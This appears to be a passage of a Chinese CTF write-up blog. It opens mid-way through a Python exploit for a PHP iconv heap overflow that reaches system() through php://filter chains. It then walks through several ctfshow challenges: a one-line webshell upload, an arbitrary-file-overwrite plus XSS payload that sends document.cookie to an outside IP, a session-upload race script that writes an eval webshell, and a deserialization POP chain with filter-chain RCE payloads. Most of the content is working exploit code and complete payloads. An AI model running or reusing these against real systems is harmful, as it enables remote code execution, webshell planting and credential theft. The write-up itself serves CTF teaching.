"disappear" from the chain, preserving them from the character set conversion
and saving us from an unwanted processing error that would stop the processing
chain.
After step3 we have a corrupted freelist with an arbitrary pointer into it. We
don't know the precise layout of the heap, but we know that at the top of the
heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
Its free_slot[] array contains a pointer to each free list. By overwriting it,
we can make PHP allocate chunks whereever we want. In addition, its custom_heap
field contains pointers to hook functions for emalloc, efree, and erealloc
(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
then overwrite the use_custom_heap flag to make PHP use these function pointers
instead. We can now do our favorite CTF technique and get a call to
system(<chunk>).
We make sure that the "system" command kills the current process to avoid other
system() calls with random chunk data, leading to undefined behaviour.
The pad blocks just "pad" our allocations so that even if the heap of the
process is in a random state, we still get contiguous, in order chunks for our
exploit.
Therefore, the whole process described here CANNOT crash. Everything falls
perfectly in place, and nothing can get in the middle of our allocations.
"""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()

一句话木马上传之后就能够访问到了

找到flag文件名直接读取flag即可

NewerFileDetector
题目给了源码,查看一下发现flag在cookie里面
from selenium import webdriver import time import os # bot nodejs puppter selenium flag = os.getenv("flag") if os.getenv("flag") is not None else "flag{test}" option = webdriver.ChromeOptions() option.add_argument('--headless') option.add_argument('--no-sandbox') option.add_argument('--disable-logging') option.add_argument('--disable-dev-shm-usage') browser = webdriver.Chrome(options=option) cookie = {'name': 'flag', 'value': flag, 'domain':'localhost','httpOnly': False} def visit(link): try: browser.get("http://localhost:5050/check") #检测是否为vip browser.add_cookie(cookie) page_source = browser.page_source print(page_source) if "VIP" not in page_source: return "NONONO" # pass print(cookie) url = "http://localhost:5050/share?file=" + link if ".." in url: return "Get out!" browser.get(url) time.sleep(1) browser.quit() print("success") return "OK" except Exception as e: print(e) return "you broke the server,get out!"
这时我们可以注意到在设置cookie的时候把httpOnly设置为了False,它意味着 JavaScript 可以直接读取这个 cookie,所以攻击思路就是:想办法在靶机上执行一段 JS,把 document.cookie 发给我们的服务器。
然后我们可以细致的看下bot的工作流程,bot 先去访问 /check,看服务器是不是把它当成 VIP。接下来bot 把 flag 写进 cookie(此时 cookie 里的 flag 就有了)。如果 /check 返回的内容里没有 "VIP" 三个字,bot 直接罢工,不会去访问我们的链接。如果通过了,bot 就会访问 /share?file=我们提供的link。访问时如果链接里有 .. 就直接拒绝。所以我们必须先让 /check 返回 "VIP",bot 才会去访问我们的 XSS 页面。
接下来我们可以去看下/check的代码逻辑
@app.route("/check",methods=['GET']) def check(): path = os.path.join(CHECK_FOLDER,"vip.json") #join if os.path.exists(path): content = open(path,"r").read() try: isSVIP = ast.literal_eval(json.loads(content)["isSVIP"]) except: isSVIP = False return "VIP" if isSVIP else "GUEST" else: return "GUEST"
它读取 check/vip.json 这个文件,读出 isSVIP 字段。如果这个字段"是真的",就返回 VIP,否则返回 GUEST。接下来我们重点去关注这个vip.json文件,我们可以发现/login里面有涉及到
@app.route("/login",methods=['GET','POST']) def login(): if(session.get("isSVIP")): return "logined" if request.method == "GET": return "input your username and password plz" elif request.method == "POST": try: user = request.form.get("username").strip() pwd = request.form.get("password").strip() if user == vip_user and pwd == vip_pwd: session["isSVIP"] = "True" else: session["isSVIP"] = "False" # 写入硬盘中,方便bot验证。 file = os.path.join(CHECK_FOLDER,"vip.json") with open(file,"w") as f: json.dump({k: v for k, v in session.items()},f) f.close() return f"{user} login success" except: return "you broke the server,get out!"
只有用户名密码都正确(vip_pwd 是随机 UUID,猜不出来),才会写入 "True"。我们不知道密码,所以正常登录只会写入 "False"。
所以:正常途径下,/check 永远返回 GUEST,bot 永远不会访问我们的链接。我们必须要想办法自己把 vip.json 覆盖成 {"isSVIP": "True"} 或类似内容。
接下来我们可以重点去关注一下/upload接口
@app.route("/upload",methods = ["POST"]) def upload(): try: content = request.form.get("content").strip() name = request.form.get("name").strip() file_type = mg.identify_bytes(content.encode()).output.ct_label #判断文件内容 if isSecure(file_type): file = os.path.join(USER_FOLDER,name) with open(file,"w") as f: f.write(content) f.close() return "ok,share your link to bot: /visit?link=user/"+ name return "black!" except: return "you broke the server,fuck out!"
这里 name 完全由我们控制。关键在 os.path.join :在 Python 中,如果 os.path.join 的第二个参数是绝对路径(以 / 开头),它会直接丢弃前面的路径,只使用后面的绝对路径。所以如果我们把 name 设置成 /app/check/vip.json,file 就变成了 /app/check/vip.json,然后 open(file,"w") 就会直接覆盖掉 check 目录下的 vip.json。但是 /upload 里还有一道检测 isSecure(file_type)
def isSecure(file_type): D_extns = ["json",'py','sh', "html"] if file_type in D_extns: return False return True
如果 magika 认为你上传的是 json、py、sh、html 之一,就拒绝。问题来了:我们要覆盖的 vip.json,内容得是 JSON 格式,比如 {"isSVIP": "True"}。但这样 magika 会把它识别成 json,就被拦下来了。代码里用的file_type = mg.identify_bytes(content.encode()).output.ct_label #判断文件内容,接下来我们就需要去审计 identify_bytes看下它具体是怎么判断文件类型的。
elif seekable.size < self._model_config.min_file_size_for_dl: content = seekable.read_at(0, seekable.size) result = self._get_result_from_few_bytes(content, path=path) return result, None
这里可以看出来你的内容如果小于16,根本不会进入模型推理,而是直接调用 _get_result_from_few_bytes,_get_result_from_few_bytes的功能就是看内容能不能按 UTF-8 解码。能解码就返回 TXT,不能就返回 UNKNOWN。它完全不知道什么是 json。也就是说我们构造的时候可以控制内容长度,让模型不进入推理直接将其判断为txt格式。所以我们构造的覆盖payload如下:(用True会超过长度限制,于是我们将其赋值为 1 )
name = /app/check/vip.json content = {"isSVIP":"1"}
import requests url = "http://pwn.challenge.ctf.show:28176" # 第 1 步:覆盖 vip.json,伪造 VIP r = requests.post( url + "/upload", data={ "name": "/app/check/vip.json", "content": '{"isSVIP":"1"}', }, ) print("覆盖 vip.json:", r.status_code, r.text) # 验证:/check 应该返回 VIP r = requests.get(url + "/check") print("check 结果:", r.text)

现在 bot 愿意访问我们提供的链接了,接下来去看下 /visit的代码逻辑
@app.route('/visit')
def visit():
link = request.args.get("link")
return bot_visit(link)
通过link传参数然后会去执行我们最开始分析的bot的运行逻辑。接下来我们通过upload去上传一个xss的页面,并且触发访问
name = /app/public/test.html content = <script>fetch("http://你的VPS/?flag="+document.cookie)</script>
import requests url = "http://pwn.challenge.ctf.show:28176" r = requests.post( url + "/upload", data={ "name": "/app/public/test.html", "content": '<script>fetch("http://121.40.36.86:8000/?flag="+document.cookie)</script>', }, ) print("上传成功:", r.status_code, r.text) print(requests.get(url+"/visit?link=test.html"))
触发成功获取flag:

_元旦水友赛
easy_include
访问之后给了php源码
<?php function waf($path){ $path = str_replace(".","",$path); return preg_match("/^[a-z]+/",$path); } if(waf($_POST[1])){ include "file://".$_POST[1]; }
写了一个waf函数删除所有 "." 字符,并且进行了正则匹配,检查是否以 a-z 小写字母开头。通过waf之后会把我们传的字符串和 "file://" 进行拼接,然后做文件包含。
由于用的file伪协议,file伪协议可以用file://localhost+路径的方式进行文件读取,这样成功的绕过了waf。

但是我们只能读一些配置文件,如果想读取flag还是要上传木马找一下flag的位置,这里我们可以抓包看看配置。

nginx的中间件,尝试了一下日志包含但是没读到日志文件,注意到cookie里面有PHPSESSID,可以尝试
import requests import io import threading url='http://6ac4e138-ff44-4640-9201-deb7e66011ae.challenge.ctf.show/' #引入url sessionid='7ad85adf08ee465d46ba2aa336ddc056' #PHPSESSID的值 data={ "1":"localhost/tmp/sess_"+sessionid, "0":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php } def write(session): fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件 while True: response=requests.post(url,data={ 'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[0]);?>' #将这段代码写入session文件中 }, cookies={ 'PHPSESSID':sessionid #同上,PHPSESSID的值 }, files={ 'file':('ctfshow.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有,可以删除 } ) def read(session): while True: response=session.post(url,data=data,cookies={ 'PHPSESSID':sessionid #包含session文件让第一个eval执行,然后执行第二个eval }) response2=session.get(url+'1.php') #获得回显 if response2.status_code==200: print('++++++perfect+++++') else: print(response2.status_code) if __name__=='__main__': evnet=threading.Event() #开启线程 with requests.session() as session: #多线程操作 for i in range(5): threading.Thread(target=write,args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。
访问上传上去的木马发现能访问到

读取flag

easy_web
题目给了php代码
<?php header('Content-Type:text/html;charset=utf-8'); error_reporting(0); function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } } function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); } function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } } class ctf{ public $h1; public $h2; public function __wakeup(){ throw new Exception("fastfast"); } public function __destruct() { $this->h1->nonono($this->h2); } } class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } } } class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; } public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt",""); } return "Go on"; } } if (!$_GET['show_show.show']){ echo "开胃小菜,就让我成为签到题叭"; highlight_file(__FILE__); }else{ echo "WAF,启动!"; waf1($_REQUEST); waf2($_SERVER['QUERY_STRING']); if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']); }else{ echo "被waf啦"; } }
题目考点是反系列化,写了很多waf。Chu0_write类里面存在eval函数,大体的思路肯定是通过构造pop链最终触发这个eval函数进行RCE。
首先我们看要通过get传参传一个show_show.show,php变量名只能是数字字母下划线,PHP 在把请求参数名转成变量名时,会把非法字符替换成下划线 _。所以如果直接传show_show.show会被替换成show_show_show。这个时候我们可以用 "[" 来绕过,php将 "[" 转换成 "_" 之后,后面出现的 "." 就不会再被替换了。

接下来我们一层去看看WAF,首先看waf1。
function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } }
遍历数组里的每一个"值",只要某个值中包含任意英文字母(a-z 或 A-Z),就直接退出并输出 waf1。代码是把$_REQUEST传入的waf1,$_REQUEST 是 PHP 超全局变量,合并了 $_GET、$_POST、$_COOKIE 三个数组的内容。这里可以用传POST参数的方式进行绕过,当 GET 和 POST 有相同的变量时,优先匹配 POST 的变量。

接下来我们看下waf2
function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); }waf2($_SERVER['QUERY_STRING']);
这里主要是限制我们通过get传参的东西不能出现show,由于检查的是转过去 "?" 后面的原字符,我们可以通过将出现show的字符串经过url编码来绕过,也就是将show编码成%73%68%6f%77。

接下来在反序列化之前还有一个正则匹配,先检查 $_GET['show_show.show'] 的值,如果它"不是以 O: 或 a: 开头后跟数字"的形式,就执行 unserialize();否则拦截,输出"被waf啦"。这个先不管,我们先去构造一下pop链。只有 ctf 类的 __wakeup 和 __destruct 会在反序列化时自动触发。__wakeup 直接抛异常,所以真正入口是 ctf::__destruct。$h1 是我们可控的对象。如果 $h1 是 show 类的对象,而 show 没有 nonono() 方法,就会触发 show::__call!
show::__call → 触发 $args[0][0][2] 的 __toString
到这里整条pop链已经捋好了,我们先构造一下反序列化的部分
<?php header('Content-Type:text/html;charset=utf-8'); error_reporting(0); function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } } function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); } function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } } class ctf{ public $h1; public $h2; public function __wakeup(){ throw new Exception("fastfast"); } public function __destruct() { $this->h1->nonono($this->h2); } } class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } } } class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; } public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt",""); } return "Go on"; } } $a=new ctf(); $a->h1=new show(); $b=new Chu0_write(); $a->h2=[[1,2,$b]]; $b->chu1=$b->chu0; echo serialize($a);

接下来我们要绕过一下O开头,这里可以用C来绕过也就是
$a=new ctf(); $a->h1=new show(); $b=new Chu0_write(); $a->h2=[[1,2,$b]]; $b->chu1=$b->chu0; $c=new ArrayObject($a); echo serialize($c);

最后我们去看一下如何RCE
function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } } $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt","");
核心是:先往文件里写内容,再读另一个文件当函数名,最后 eval 执行命令。
waf_in_waf_php($a) 这个 WAF它检查的是 $_GET['name'],name 参数里要带 base64,且只能用 base64 相关的伪协议/过滤器,但又要避开 data、input、phar 等常见伪协议,也不能有 %。
写文件部分:
$content = 'ctfshowshowshowwww' . $_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt", $content); }else{ echo "绕一下吧孩子"; }
$content = 固定前缀 ctfshowshowshowwww + 你传的 chu0
如果 name 过了 WAF → 写文件:文件名是 $_GET['name'] . ".txt",内容是 $content
没过 → 输出"绕一下吧孩子"
注意:这里写的是 name.txt,不是 ctfw.txt。文件名由 name 决定。
ctfw.txt 当函数名:
关键:$tmp 后面被当函数名用($tmp($_GET['cmd'])),所以 ctfw.txt 里必须是一个函数名字符串,比如 system、passthru、assert 等。
eval 执行命令(带 WAF):
回到最前面写文件,文件的开头一定会写入ctfshowshowshowwww很明显是不可能作为命令去执行的,然后题目提示了要用到一次base64,我们尝试解一下base64看看会得到什么。

解码后只有r和0这两个属于字符表里的字符,所以我们要想办法使用过滤器组合使r和0变成非码表字符,最后被base64去杂,这里用到了用的是utf-8,utf-16le,quoted-printable编码
<?php $a='ctfshowshowshowwww'; $c=iconv('utf-16le',"utf-8",$a); var_dump($c); $d=base64_decode($c); var_dump($d);

成功把前面杂质去掉了,接下来我们拼上我们原本想执行的内容,也就是将system按照我们正向的过程转换编码然后base64加密,quoted_printable_encode用于填充空字节,因为utf-8转utf-16le会产生空字节,file_put_contents会对空字节报错
<?php $b = 'system'; $a = iconv('utf-8', 'utf-16le', base64_encode($b)); echo quoted_printable_encode($a);

所以我们可以得到这部分构造的东西
GET:name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw POST:chu0=c=003=00l=00z=00d=00G=00V=00t=00
最后我们可以先执行env看看环境变量有没有flag因为有些语句都被过滤掉了,没有的话再想别的方法,所以最终构造的payload应该是
GET:?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3A%31%31%3A%22%41%72%72%61%79%4F%62%6A%65%63%74%22%3A%31%38%36%3A%7B%78%3A%69%3A%30%3B%4F%3A%33%3A%22%63%74%66%22%3A%32%3A%7B%73%3A%32%3A%22%68%31%22%3B%4F%3A%34%3A%22%73%68%6F%77%22%3A%30%3A%7B%7D%73%3A%32%3A%22%68%32%22%3B%61%3A%31%3A%7B%69%3A%30%3B%61%3A%33%3A%7B%69%3A%30%3B%69%3A%31%3B%69%3A%31%3B%69%3A%32%3B%69%3A%32%3B%4F%3A%31%30%3A%22%43%68%75%30%5F%77%72%69%74%65%22%3A%33%3A%7B%73%3A%34%3A%22%63%68%75%30%22%3B%73%3A%39%3A%22%78%69%75%78%69%75%78%69%75%22%3B%73%3A%34%3A%22%63%68%75%31%22%3B%73%3A%39%3A%22%78%69%75%78%69%75%78%69%75%22%3B%73%3A%33%3A%22%63%6D%64%22%3B%4E%3B%7D%7D%7D%7D%3B%6D%3A%61%3A%30%3A%7B%7D%7D&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
POST:show[show.show=1&name=1&chu0=1&cmd=1


浙公网安备 33010602011771号